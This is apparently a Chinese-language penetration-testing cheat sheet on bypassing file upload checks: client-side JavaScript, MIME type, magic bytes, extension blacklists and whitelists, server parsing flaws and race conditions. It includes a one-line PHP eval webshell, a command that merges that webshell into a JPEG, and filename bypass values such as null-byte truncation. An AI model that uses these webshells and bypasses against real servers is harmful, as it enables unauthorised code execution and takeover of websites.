文件上传漏洞绕过方法
1. 客户端 JS 绕过
这是最简单也是最常见的绕过方法。许多开发者为了方便,只在前端(浏览器)使用 JavaScript 脚本来检查文件类型,如 .jpg
、.png
、.gif
等
- 绕过方法:
- 禁用 JavaScript: 在浏览器设置中直接禁用 JS,或者使用抓包工具(如 Burp Suite)拦截请求,修改文件名和内容后再发送
- 抓包修改文件名: 正常上传一个合法的图片文件(
1.jpg
),然后使用 Burp Suite 拦截数据包,将文件名修改为1.php
。由于服务器后端没有进行二次验证,就会直接上传成功
2. MIME 类型绕过
服务器有时会通过检查 HTTP 请求头中的 Content-Type
字段来验证文件类型。例如,一个图片的 Content-Type
通常是 image/jpeg
或 image/png
- 绕过方法:
- 修改
Content-Type
: 攻击者可以上传一个webshell.php
文件,同时在抓包工具中将Content-Type
字段从application/octet-stream
(默认值)修改为image/jpeg
。如果后端只依赖这个字段进行判断,恶意文件就会上传成功
- 修改
3. 文件头内容检测绕过(魔术字节)
一些更安全的系统会检查文件的“魔术字节”(Magic Bytes),也就是文件头部的一串特定字节,用以识别文件类型。例如,JPEG 图片文件开头通常是 FF D8 FF E0
- 绕过方法:
- “图片马”: 攻击者可以将恶意代码嵌入到图片文件中,制作成一个“图片马”
- 制作方法:
- 准备一张正常的图片(
1.jpg
)和一个包含恶意代码的文本文件(shell.php
),内容为<?php eval($_POST['cmd']);?>
- 使用命令将两者合并:
copy 1.jpg/b + shell.php/a webshell.jpg
- 准备一张正常的图片(
- 利用方式:
- 上传
webshell.jpg
文件。如果服务器检查了文件头,但没有检查文件内容,就会上传成功。 - 然后,攻击者需要找到一种方法来解析这个图片文件,使其作为 PHP 代码执行。这通常需要结合 文件包含漏洞(LFI) 来实现,例如
include('webshell.jpg')
,或者一些服务器配置错误(如 Apache 的.htaccess
配置)
- 上传
4. 文件名、路径绕过
服务器通常会有一份黑名单或白名单来限制可上传的文件扩展名。黑名单会阻止 .php
, .asp
, .jsp
等脚本文件,而白名单只允许 .jpg
, .png
, .gif
等图片文件
a. 黑名单绕过
- 大小写绕过:
shell.Php
、shell.pHP
等 - 文件后缀名加空格或点: 在 Windows IIS 服务器上,文件名末尾的空格或点会被自动去除
shell.php
(空格)shell.php.
(点)
- 双重扩展名: 某些服务器只检查最后一个扩展名
shell.php.jpg
:上传后,如果服务器处理不当,可能会被当做shell.php
来执行。
- 特殊字符绕过: 利用一些特殊字符,如
shell.php%00.jpg
(00 截断)- 00截断: 在 PHP 5.3 之前,PHP 的
move_uploaded_file()
函数在处理文件名时,遇到0x00
字节会截断后面的内容。攻击者可以在文件名中注入%00
,如shell.php%00.jpg
,上传时,服务器只检查.jpg
,但实际保存的文件名是shell.php
- 00截断: 在 PHP 5.3 之前,PHP 的
b. 白名单绕过
- 服务器解析漏洞:
- Apache: 如果服务器配置了
AddHandler php5-script .jpg
,那么所有.jpg
文件都会被当作 PHP 脚本来解析 - IIS 6.0: 目录解析漏洞,例如
/xx.asp/shell.jpg
。服务器会把shell.jpg
当作 ASP 脚本执行 - IIS 7.0/7.5:
web.config
配置文件解析漏洞。攻击者可以上传一个恶意的web.config
文件来改变目录的解析规则
- Apache: 如果服务器配置了
- 竞争条件(Race Condition):
- 一些服务器在处理文件上传时,会先将文件临时保存,然后进行安全检查,最后再重命名或移动到目标目录
- 利用方法: 攻击者可以利用这个时间差,在文件被检查并删除之前,迅速访问该文件
- 步骤:
- 上传一个包含恶意代码的脚本文件(如
shell.php
),其中恶意代码会创建一个新的 Webshell 文件 - 在文件上传成功后,但在服务器删除它之前,通过一个脚本循环快速访问该文件
- 恶意脚本被执行,并创建一个新的、无法被删除的 Webshell 文件
- 上传一个包含恶意代码的脚本文件(如